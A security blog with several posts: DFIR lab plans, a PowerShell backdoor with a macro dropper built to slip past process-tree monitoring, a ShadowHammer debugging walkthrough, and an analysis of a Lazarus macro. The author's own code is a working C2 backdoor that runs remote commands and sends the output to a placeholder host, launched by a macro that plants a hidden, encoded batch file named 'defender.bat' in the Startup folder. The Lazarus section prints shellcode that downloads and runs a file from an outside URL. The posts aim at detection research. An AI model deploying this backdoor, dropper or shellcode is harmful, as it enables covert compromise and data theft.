LevelUp Labs

In my recent webcast for SANS Levelup (http://sans.org/u/ZAX) I suggest that all of you out there who want to become security professionals or want to improve their skills join forces to build DFIR labs (Hackmes) together.

The idea was, that you find like-minded people using the hashtag #leveluplabs on twitter. In the last weeks I had many people ask me how I’d set up something like that. In this and the next few episodes I’ll show how I set up my training lab.

The upcoming tutorials not only show how to set up a small fake company network but also how to set up a basic attacker infrastructure. The fake company network will consist of a domain controller and a few clients joined to the domain and maybe later a web server to increase the attack surface a bit. On the attacker site, I’ll use something like Metasploit, powershell empire or covenant. If you are lucky, you can team up with a penetration tester if you are a DFIR person or the other way round.

There will be at least 7 video tutorials to address the following topics. Today I’ll release the introduction part. Next week I’ll continue with building the fake company infrastructure.

Pitfalls of Process Monitoring

Many security products monitor process trees very carefully to detect when for instance office applications spawn Powershell, cmd or other suspicious subprocesses. But is that enough?

Still many organisations are unable to deactivate macros in office documents as they are still widely used. Hence they introduce compensating controls to detect malicious macros as soon as they execute. Many security products mainly focus on process trees to detect when macros execute Powershell code or behave strangely in other ways. At first, that looks like a good idea and it actually is. But is it enough. So let’s see what it takes to get around pure process tree monitoring and how to still detect what’s going on.

I’m really bad in writing Powershell code so please bear with me. So my target was to write a simple Powershell backdoor that calls back to an even simpler php based C2 server. The reason I choose php for the C2 is, that you could run the C2 on any compromised shared webspace and don’t need to set up a full server.

So here’s the unencoded Powershell part.

$delay = 4;
$c2 = 'https://yourc2.tld/';
Add-Type -AssemblyName System.Web;
    $web_client = new-object system.net.webclient;
    if($cmd -ne 'wait'){
        $out = cmd.exe /d /c $cmd;
        $url = $c2+'res.php?victimid='+$victimid+'&command='+$cmd+'&result='+$out_urlencode;$x=Invoke-WebRequest -Uri $url -Method GET ;
    start-sleep -seconds $delay;

So essentially every victim gets a unique id. As soon as the malware is running, it asks the C2 server for new commands every 4 seconds. If the command is anything other than “wait” it executes the command in cmd.exe. The results will then be transferred to the C2 server. Note that I used GET as method and transferred the results in a get parameter. I did to test a network based detection mechanism I’m working on. In a real attack I’d use POST requests as usually the full URI including GET parameters ends up in proxy logs while POST parameters in the body don’t.

Ok that part was easy. Now I needed a crappy backend to control the malware. It’s not beautiful but It get’s the job done.

So at that point it’s all about getting that into a production system that’s set up with all the usual security measures and more. Under the assumption, that you will always be able to get an employee to execute a macro as long as it’s not blocked, I created a fake word document. It looks something like that – you know the drill, right?

Tricking the user into enabling macros

There are two things I want to prevent when my code fires:

  • I don’t want Word to spawn a sub process
  • I don’t want to load System.Management.Automation.dll with any process other than powershell.exe (Some monitor that as well)

Honouring the points above, I can load a WScript.Shell object but I can’t use it’s .Run or .Exec methods as that would spawn a cmd.exe process as child of the Word process. So what I did instead was creating a batch script loading my Powershell backdoor. I just placed that script in the startup folder. That will not give me a shell right away, but as soon as the user logs off and on again I’m in. So this is the macro I ended up using.

Private Sub Document_Open()

action = "powershell.exe -windowStyLe HiDDEn -ec JAB2AGkAYwB0AGkAbQBpAGQAPQAiADEAMgAzADQAIgA7ACAAJABkAGUAbAB" _

Set objShell = CreateObject("WScript.Shell")
startupFolder = objShell.SpecialFolders("Startup")
Set objFSO = CreateObject("Scripting.FileSystemObject")
outFile = startupFolder + "\defender.bat"
Set objFile = objFSO.CreateTextFile(outFile, True)
objFile.Write action

End Sub

As soon as the victim allows execution of macros in the Word document (and you know that they will), the batch script appears in the startup folder.

Malicious batch script in the startup directory

After the next logon I have access to the computer with user privileges.

Key Takeaways

  • Monitoring Office application process trees is not enough to detect macro attacks
  • Monitoring loaded modules doesn’t help either in that specific case
  • If you monitor file handles for Office applications you will be able to detect access to files in the startup directory.
  • I’ll never really like powershell
  • I don’t like php very much either

I’ll post some IOSs to detect this and similar attacks soon. Furthermore, I’ll describe some more ways to use macros in an attack that are really hard to detect.

Dissecting ShadowHammer

Today I had the pleasure of dissecting Shadow Hammer for together with our top malware analyst at InfoGuard(@InfoGuardAG) Stefan Rothenbuehler (@creative83).

ShadowHammer is a piece of malware that was distributed in a supply chain attack mimicking ASUS security updates. Once the malicious update explodes on the target system it loads various libraries it uses to determine the mac addresses of the machine. Only if the MAC address matches a set of predefined addresses it will actually load the next stage and infect the machine.


While some of the functionality is already well documented we feel like it would make sense to show how you can get the hashes out of the malware. Stefan and myself also want to make sure to do this writeup in an educational fashion. That might lead to some “overdocumenting” at some points. So skilled malware analysts out there, please bear with us.

Finding the malicious part

This sample as a little bit more complex as it contains benign code as well as the malware code.

When starting the analysis using static methods like Ghidra, the functionality of ShadowHammer is not immediately observable as it only executes once the benign part of the software update finished executing. The malware author placed the entry point of the malware just before the Process exit into the __crtExitProcess function. We tagged the function accordingly in win32dbg.

Entry Point to malware

So how do we get there. Using the Symbols tab in win32dbg, we see that the file uses the VirtualAlloc and VirtualProtect function from kernel32.dll. Whenever we find those functions used by a binary we want to look at them more closely. Stefan pointed out a nice way to set a useful breakpoint at the end of the function. This way the eax register shows the target address of the memory allocation. When found jump into the code for Virtual Alloc and set a breakpoint right before the function returns. There are more of those but number 2 is the one you want to look at (just to save you some time).

Search for VirtualAlloc

If you start single stepping through the code from there entering all functions that are not API functions you will eventually end up at a place where you see two calls to GetAdaptersAddresses. The first of the two compares the eax register to 0x6f which is 111 in decimal. This return code would indicate a bufffer overflow. We believe that this fires, if the number of interfaces the machine maps is too high to fit the provided buffer.

The second call is followed by test eax, eax which is true when eax is 0x0. This is the desired return coda as it indicates that we now got our interface structures successfully loaded into the buffer.

Reading the adapter data

After that we are in a loop that creates the md5 sum of every interfaces mac address and stores it to the memory using memcpy. In my case when I dump the source for the memcpy operation the first 16 bytes should the md5 sum of one of my adapters.

The bytes I get are:

93 16 DF 71 02 90 78 CB 6E 33 9C BE 12 0B 1F 49

The mac address for my only adapter is:


Checking that using Cyberchef proves that we got the right data there.

Cyberchef translates my mac address to the correct md5

So now that we see that the malware stores the md5 of our mac addresses, the question is, what does it compare it to?

To figure that we need to keep on stepping. I put a breakpoint shortly before my current function returns. and single-step from there. Eventually you will find a set of memcmp instructions in several loops. they compare the memory space filled with your adapter’s macs to the macs the attacker is looking for. It will compare 0x10 or 16 dec bytes in two memory locations. That’s the size of an md5 sum.

memcmp call to compare md5 sums

So argument one and two are eax and esi. They are on top of the stack so we can easily load them into the data dump window. esi contains our values and eax the value hardcoded in the malware.

My hashed mac address
One of the hashes the malware compares it to

This was just a very short tutorial on how to extract the hashes. For the above sample we have done that for you already at InfoGuard. Find the list at https://www.infoguard.ch/de/blog/shadow-hammer-mac-adressen-hash-liste

We will keep dissecting the malware and post more soon.

Macro Malware Again

In this post I’ll describe an approach on how to leverage Excel to dump dynamically created Shellcode from a Macro.

I’m always looking for new challenges for our team that they can solve in slow times. During my research I stumbled upon a nice sample in @0xffff0800 malware archive (Find the current link to the archive at 0day.coffee0). The sample itself was not that complex, getting the potential shellcode out required a technique I never used before. So let’s cut to the chase.

The sample is a Word document with a Macro. According to 0xffff0800 directory structure it’s out of Lazarus group’s tool chest (Wikipedia). The Thor APT scanner by BFK Consulting supports that assumption as it flags the Document with the yara rule  “APT_MalDoc_SharpShooter_Lazarus_Campaign_Dec18_1

VT Score2018-12-23: 39/58
AttributionLazarus Group (APT38)

The first step when dealing with potentially malicious documents for me is always using Didier Steven’s oledump.py. This gives me the following output.


Let’s extract the 22755 byte long Macro using the following command

oledump.py Strategic%20Planning%20Manager.doc -s8 -v

That shows me a Macro that is slightly obfuscated. The first five declarations look interesting though.

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function SharpShooter Lib "msvcrt" Alias "_beginthread" (ByVal StartAddress As LongPtr, StackSize As Long, ByVal ArgList As LongPtr) As Long
Private Declare PtrSafe Function efasdv Lib "kernel32" Alias "VirtualAlloc" (ByVal address As Long, ByVal size As Long, ByVal aloctype As Long, ByVal fprot As Long) As LongPtr
Private Declare PtrSafe Function gzsdfasd Lib "kernel32" Alias "RtlMoveMemory" (ByVal dest As LongPtr, ByRef src As Any, ByVal dlen As Long) As LongPtr
Private Declare PtrSafe Function ennfiaje Lib "kernel32" Alias "LoadLibraryA" (ByVal libname As String) As LongPtr
Private Declare PtrSafe Function dnnaigej Lib "kernel32" Alias "GetProcAddress" (ByVal module As LongPtr, ByVal pname As String) As LongPtr

The Macro seems to define some strange variable names for well known functions leveraged by malware, VirtualAllocA only being one of them. We also see that there is a 2 dimensional array called llsodiplo.

llsodiplo(0) = Array(&H48, &H81, &HEC, ...)
llsodiplo(1) = Array(&H48, &HB8, &H82, ...)
llsodiplo(2) = Array(&H0, &H0, &H69, &HC6, ...)

To make reading easier I went through the code and gave the variables and functions more meaningful names. The result below shows a clearer picture of what’s going on. You can also download the full deobfuscated code here and the original macro here.

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function SharpShooter Lib "msvcrt" Alias "_beginthread" (ByVal StartAddress As LongPtr, StackSize As Long, ByVal ArgList As LongPtr) As Long
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" Alias "VirtualAlloc" (ByVal address As Long, ByVal size As Long, ByVal aloctype As Long, ByVal fprot As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal dest As LongPtr, ByRef src As Any, ByVal dlen As Long) As LongPtr
Private Declare PtrSafe Function LoadLibraryA Lib "kernel32" Alias "LoadLibraryA" (ByVal libname As String) As LongPtr
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" Alias "GetProcAddress" (ByVal module As LongPtr, ByVal pname As String) As LongPtr
Sub AutoOpen()
    On Error GoTo LoneSpirit

Dim BlockCount As Long, size_count As Long
BlockCount = 3
size_count = 3224
Dim shellcode(2) As Variant
Dim binbuffer(3224) As Byte

shellcode(0) = Array(&H48, &H81, &HEC, &HD8, &H4, &H0, &H0, &HC6, &H84, &H24, &HC8, &H1, &H0, &H0, &H75, &HC6, &H84, &H24, &HC9, &H1, &H0, &H0, &H72, &HC6, &H84, &H24, &HCA, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HCB, &H1, &H0, &H0, &H6D, &HC6, &H84, &H24, &HCC, &H1, &H0, &H0, &H6F, &HC6, &H84, &H24, &HCD, &H1, &H0, &H0, &H6E, &HC6, &H84, &H24, &HCE, &H1, &H0, &H0, &H2E, &HC6, &H84, &H24, &HCF, &H1, &H0, &H0, &H64, &HC6, &H84, &H24, &HD0, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HD1, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HD2, &H1, &H0, &H0, &H0, &HC6, &H84, &H24, &HB0, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &HB1, &H3, &H0, &H0, &H68, &HC6, &H84, &H24, &HB2, &H3, &H0, &H0, &H66, &HC6, &H84, &H24, &HB3, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HB4, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, _
&HB5, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HB6, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &HB7, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &HB8, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &HB9, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HBA, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HBB, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HBC, &H3, &H0, &H0, &H0, &HC6, &H44, &H24, &H70, &H6E, &HC6, &H44, &H24, &H71, &H74, &HC6, &H44, &H24, &H72, &H64, &HC6, &H44, &H24, &H73, &H6C, &HC6, &H44, &H24, &H74, &H6C, &HC6, &H44, &H24, &H75, &H2E, &HC6, &H44, &H24, &H76, &H64, &HC6, &H44, &H24, &H77, &H6C, &HC6, &H44, &H24, &H78, &H6C, &HC6, &H44, &H24, &H79, &H0, &HC6, &H84, &H24, &H20, &H4, &H0, &H0, &H6B, &HC6, &H84, &H24, &H21, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H22, &H4, &H0, &H0, &H72, &HC6, &H84, _
&H24, &H23, &H4, &H0, &H0, &H6E, &HC6, &H84, &H24, &H24, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H25, &H4, &H0, &H0, &H6C, &HC6, &H84, &H24, &H26, &H4, &H0, &H0, &H33, &HC6, &H84, &H24, &H27, &H4, &H0, &H0, &H32, &HC6, &H84, &H24, &H28, &H4, &H0, &H0, &H2E, &HC6, &H84, &H24, &H29, &H4, &H0, &H0, &H64, &HC6, &H84, &H24, &H2A, &H4, &H0, &H0, &H6C, &HC6, &H84, &H24, &H2B, &H4, &H0, &H0, &H6C, &HC6, &H84, &H24, &H2C, &H4, &H0, &H0, &H0, &HC6, &H44, &H24, &H60, &H73, &HC6, &H44, &H24, &H61, &H68, &HC6, &H44, &H24, &H62, &H65, &HC6, &H44, &H24, &H63, &H6C, &HC6, &H44, &H24, &H64, &H6C, &HC6, &H44, &H24, &H65, &H33, &HC6, &H44, &H24, &H66, &H32, &HC6, &H44, &H24, &H67, &H0, &HC6, &H84, &H24, &HD8, &H3, &H0, &H0, &H4C, &HC6, &H84, &H24, &HD9, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, _
&HDA, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &HDB, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HDC, &H3, &H0, &H0, &H4C, &HC6, &H84, &H24, &HDD, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &HDE, &H3, &H0, &H0, &H62, &HC6, &H84, &H24, &HDF, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &HE0, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &HE1, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &HE2, &H3, &H0, &H0, &H79, &HC6, &H84, &H24, &HE3, &H3, &H0, &H0, &H41, &HC6, &H84, &H24, &HE4, &H3, &H0, &H0, &H0, &HC6, &H84, &H24, &H10, &H4, &H0, &H0, &H47, &HC6, &H84, &H24, &H11, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H12, &H4, &H0, &H0, &H74, &HC6, &H84, &H24, &H13, &H4, &H0, &H0, &H50, &HC6, &H84, &H24, &H14, &H4, &H0, &H0, &H72, &HC6, &H84, &H24, &H15, &H4, &H0, &H0, &H6F, &HC6, &H84, &H24, &H16, _
&H4, &H0, &H0, &H63, &HC6, &H84, &H24, &H17, &H4, &H0, &H0, &H41, &HC6, &H84, &H24, &H18, &H4, &H0, &H0, &H64, &HC6, &H84, &H24, &H19, &H4, &H0, &H0, &H64, &HC6, &H84, &H24, &H1A, &H4, &H0, &H0, &H72, &HC6, &H84, &H24, &H1B, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H1C, &H4, &H0, &H0, &H73, &HC6, &H84, &H24, &H1D, &H4, &H0, &H0, &H73, &HC6, &H84, &H24, &H1E, &H4, &H0, &H0, &H0, &HC6, &H84, &H24, &H98, &H3, &H0, &H0, &H55, &HC6, &H84, &H24, &H99, &H3, &H0, &H0, &H52, &HC6, &H84, &H24, &H9A, &H3, &H0, &H0, &H4C, &HC6, &H84, &H24, &H9B, &H3, &H0, &H0, &H44, &HC6, &H84, &H24, &H9C, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H9D, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &H9E, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H9F, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HA0, &H3, _
&H0, &H0, &H6F, &HC6, &H84, &H24, &HA1, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &HA2, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &HA3, &H3, &H0, &H0, &H54, &HC6, &H84, &H24, &HA4, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HA5, &H3, &H0, &H0, &H46, &HC6, &H84, &H24, &HA6, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &HA7, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HA8, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &HA9, &H3, &H0, &H0, &H41, &HC6, &H84, &H24, &HAA, &H3, &H0, &H0, &H0, &HC6, &H84, &H24, &H50, &H3, &H0, &H0, &H53, &HC6, &H84, &H24, &H51, &H3, &H0, &H0, &H48, &HC6, &H84, &H24, &H52, &H3, &H0, &H0, &H47, &HC6, &H84, &H24, &H53, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H54, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H55, &H3, &H0, &H0, &H46, &HC6, &H84, &H24, &H56, &H3, &H0, _
&H0, &H6F, &HC6, &H84, &H24, &H57, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &H58, &H3, &H0, &H0, &H64, &HC6, &H84, &H24, &H59, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H5A, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H5B, &H3, &H0, &H0, &H50, &HC6, &H84, &H24, &H5C, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H5D, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H5E, &H3, &H0, &H0, &H68, &HC6, &H84, &H24, &H5F, &H3, &H0, &H0, &H41, &HC6, &H84, &H24, &H60, &H3, &H0, &H0, &H0, &HC6, &H44, &H24, &H58, &H73, &HC6, &H44, &H24, &H59, &H74, &HC6, &H44, &H24, &H5A, &H72, &HC6, &H44, &H24, &H5B, &H63, &HC6, &H44, &H24, &H5C, &H70, &HC6, &H44, &H24, &H5D, &H79, &HC6, &H44, &H24, &H5E, &H0, &HC6, &H84, &H24, &HB8, &H1, &H0, &H0, &H73, &HC6, &H84, &H24, &HB9, &H1, &H0, &H0, &H74, &HC6, &H84, &H24, &HBA, _
&H1, &H0, &H0, &H72, &HC6, &H84, &H24, &HBB, &H1, &H0, &H0, &H63, &HC6, &H84, &H24, &HBC, &H1, &H0, &H0, &H61, &HC6, &H84, &H24, &HBD, &H1, &H0, &H0, &H74, &HC6, &H84, &H24, &HBE, &H1, &H0, &H0, &H0, &HC6, &H84, &H24, &H88, &H3, &H0, &H0, &H43, &HC6, &H84, &H24, &H89, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H8A, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H8B, &H3, &H0, &H0, &H61, &HC6, &H84, &H24, &H8C, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H8D, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H8E, &H3, &H0, &H0, &H50, &HC6, &H84, &H24, &H8F, &H3, &H0, &H0, &H72, &HC6, &H84, &H24, &H90, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H91, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H92, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H93, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H94, &H3, _
&H0, &H0, &H73, &HC6, &H84, &H24, &H95, &H3, &H0, &H0, &H41, &HC6, &H84, &H24, &H96, &H3, &H0, &H0, &H0, &HC6, &H44, &H24, &H50, &H6D, &HC6, &H44, &H24, &H51, &H65, &HC6, &H44, &H24, &H52, &H6D, &HC6, &H44, &H24, &H53, &H73, &HC6, &H44, &H24, &H54, &H65, &HC6, &H44, &H24, &H55, &H74, &HC6, &H44, &H24, &H56, &H0, &HC6, &H84, &H24, &HA8, &H1, &H0, &H0, &H53, &HC6, &H84, &H24, &HA9, &H1, &H0, &H0, &H68, &HC6, &H84, &H24, &HAA, &H1, &H0, &H0, &H65, &HC6, &H84, &H24, &HAB, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HAC, &H1, &H0, &H0, &H6C, &HC6, &H84, &H24, &HAD, &H1, &H0, &H0, &H45, &HC6, &H84, &H24, &HAE, &H1, &H0, &H0, &H78, &HC6, &H84, &H24, &HAF, &H1, &H0, &H0, &H65, &HC6, &H84, &H24, &HB0, &H1, &H0, &H0, &H63, &HC6, &H84, &H24, &HB1, &H1, &H0, &H0, &H75, &HC6, &H84, &H24, _
&HB2, &H1, &H0, &H0, &H74, &HC6, &H84, &H24, &HB3, &H1, &H0, &H0, &H65, &HC6, &H84, &H24, &HB4, &H1, &H0, &H0, &H41, &HC6, &H84, &H24, &HB5, &H1, &H0, &H0, &H0, &H48, &HB8, &H81, &H88, &H88, &H88, &H88, &H88, &HAD, &HDE, &H48, &H89, &H84, &H24, &H80, &H0, &H0, &H0)
shellcode(1) = Array(&H48, &HB8, &H82, &H88, &H88, &H88, &H88, &H88, &HAD, &HDE, &H48, &H89, &H84, &H24, &HA0, &H1, &H0, &H0, &H48, &H8D, &H8C, &H24, &HC8, &H1, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &H98, &H3, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H44, &H24, &H68, &H48, &H8D, &H8C, &H24, &HB0, &H3, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &H50, &H3, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &HD8, &H1, &H0, &H0, &H48, &H8D, &H4C, &H24, &H70, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H54, &H24, &H58, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &HC0, &H1, &H0, &H0, &H48, &H8D, &H4C, &H24, &H70, &HFF, _
&H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &HB8, &H1, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &H70, &H3, &H0, &H0, &H48, &H8D, &H8C, &H24, &H20, &H4, &H0, &H0, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &H88, &H3, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &H68, &H3, &H0, &H0, &H48, &H8D, &H4C, &H24, &H70, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H54, &H24, &H50, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, &H0, &H48, &H89, &H84, &H24, &HC8, &H3, &H0, &H0, &H48, &H8D, &H4C, &H24, &H60, &HFF, &H94, &H24, &H80, &H0, &H0, &H0, &H48, &H8D, &H94, &H24, &HA8, &H1, &H0, &H0, &H48, &H8B, &HC8, &HFF, &H94, &H24, &HA0, &H1, &H0, _
&H0, &H48, &H89, &H84, &H24, &HC0, &H3, &H0, &H0, &HC6, &H84, &H24, &HE8, &H3, &H0, &H0, &H68, &HC6, &H84, &H24, &HE9, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &HEA, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &HEB, &H3, &H0, &H0, &H70, &HC6, &H84, &H24, &HEC, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &HED, &H3, &H0, &H0, &H3A, &HC6, &H84, &H24, &HEE, &H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &HEF, &H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &HF0, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &HF1, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &HF2, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &HF3, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &HF4, &H3, &H0, &H0, &H6B, &HC6, &H84, &H24, &HF5, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &HF6, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &HF7, &H3, &H0, &H0, &H67, _
&HC6, &H84, &H24, &HF8, &H3, &H0, &H0, &H6B, &HC6, &H84, &H24, &HF9, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HFA, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &HFB, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &HFC, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &HFD, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &HFE, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &HFF, &H3, &H0, &H0, &H6D, &HC6, &H84, &H24, &H0, &H4, &H0, &H0, &H2E, &HC6, &H84, &H24, &H1, &H4, &H0, &H0, &H73, &HC6, &H84, &H24, &H2, &H4, &H0, &H0, &H67, &HC6, &H84, &H24, &H3, &H4, &H0, &H0, &H2F, &HC6, &H84, &H24, &H4, &H4, &H0, &H0, &H71, &HC6, &H84, &H24, &H5, &H4, &H0, &H0, &H75, &HC6, &H84, &H24, &H6, &H4, &H0, &H0, &H65, &HC6, &H84, &H24, &H7, &H4, &H0, &H0, &H72, &HC6, &H84, &H24, &H8, &H4, &H0, &H0, &H79, &HC6, _
&H84, &H24, &H9, &H4, &H0, &H0, &H2E, &HC6, &H84, &H24, &HA, &H4, &H0, &H0, &H70, &HC6, &H84, &H24, &HB, &H4, &H0, &H0, &H68, &HC6, &H84, &H24, &HC, &H4, &H0, &H0, &H70, &HC6, &H84, &H24, &HD, &H4, &H0, &H0, &H0, &HC6, &H84, &H24, &H78, &H3, &H0, &H0, &H5C, &HC6, &H84, &H24, &H79, &H3, &H0, &H0, &H6D, &HC6, &H84, &H24, &H7A, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H7B, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H7C, &H3, &H0, &H0, &H79, &HC6, &H84, &H24, &H7D, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H7E, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H7F, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H80, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H81, &H3, &H0, &H0, &H78, &HC6, &H84, &H24, &H82, &H3, &H0, &H0, &H65, &HC6, &H84, &H24, &H83, &H3, &H0, &H0, &H0, &H48, &H8D, _
&H84, &H24, &HE0, &H1, &H0, &H0, &H48, &H89, &H44, &H24, &H20, &H45, &H33, &HC9, &H45, &H33, &HC0, &HBA, &H7, &H0, &H0, &H0, &H33, &HC9, &HFF, &H94, &H24, &HD8, &H1, &H0, &H0, &H48, &H8D, &H94, &H24, &H78, &H3, &H0, &H0, &H48, &H8D, &H8C, &H24, &HE0, &H1, &H0, &H0, &HFF, &H94, &H24, &H70, &H3, &H0, &H0, &HC6, &H84, &H24, &H10, &H3, &H0, &H0, &H68, &HC6, &H84, &H24, &H11, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H12, &H3, &H0, &H0, &H74, &HC6, &H84, &H24, &H13, &H3, &H0, &H0, &H70, &HC6, &H84, &H24, &H14, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H15, &H3, &H0, &H0, &H3A, &HC6, &H84, &H24, &H16, &H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &H17, &H3, &H0, &H0, &H2F, &HC6, &H84, &H24, &H18, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &H19, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, _
&H1A, &H3, &H0, &H0, &H77, &HC6, &H84, &H24, &H1B, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H1C, &H3, &H0, &H0, &H6B, &HC6, &H84, &H24, &H1D, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H1E, &H3, &H0, &H0, &H6E, &HC6, &H84, &H24, &H1F, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H20, &H3, &H0, &H0, &H6B, &HC6, &H84, &H24, &H21, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H22, &H3, &H0, &H0, &H69, &HC6, &H84, &H24, &H23, &H3, &H0, &H0, &H6C, &HC6, &H84, &H24, &H24, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H25, &H3, &H0, &H0, &H63, &HC6, &H84, &H24, &H26, &H3, &H0, &H0, &H6F, &HC6, &H84, &H24, &H27, &H3, &H0, &H0, &H6D, &HC6, &H84, &H24, &H28, &H3, &H0, &H0, &H2E, &HC6, &H84, &H24, &H29, &H3, &H0, &H0, &H73, &HC6, &H84, &H24, &H2A, &H3, &H0, &H0, &H67, &HC6, &H84, &H24, &H2B, _
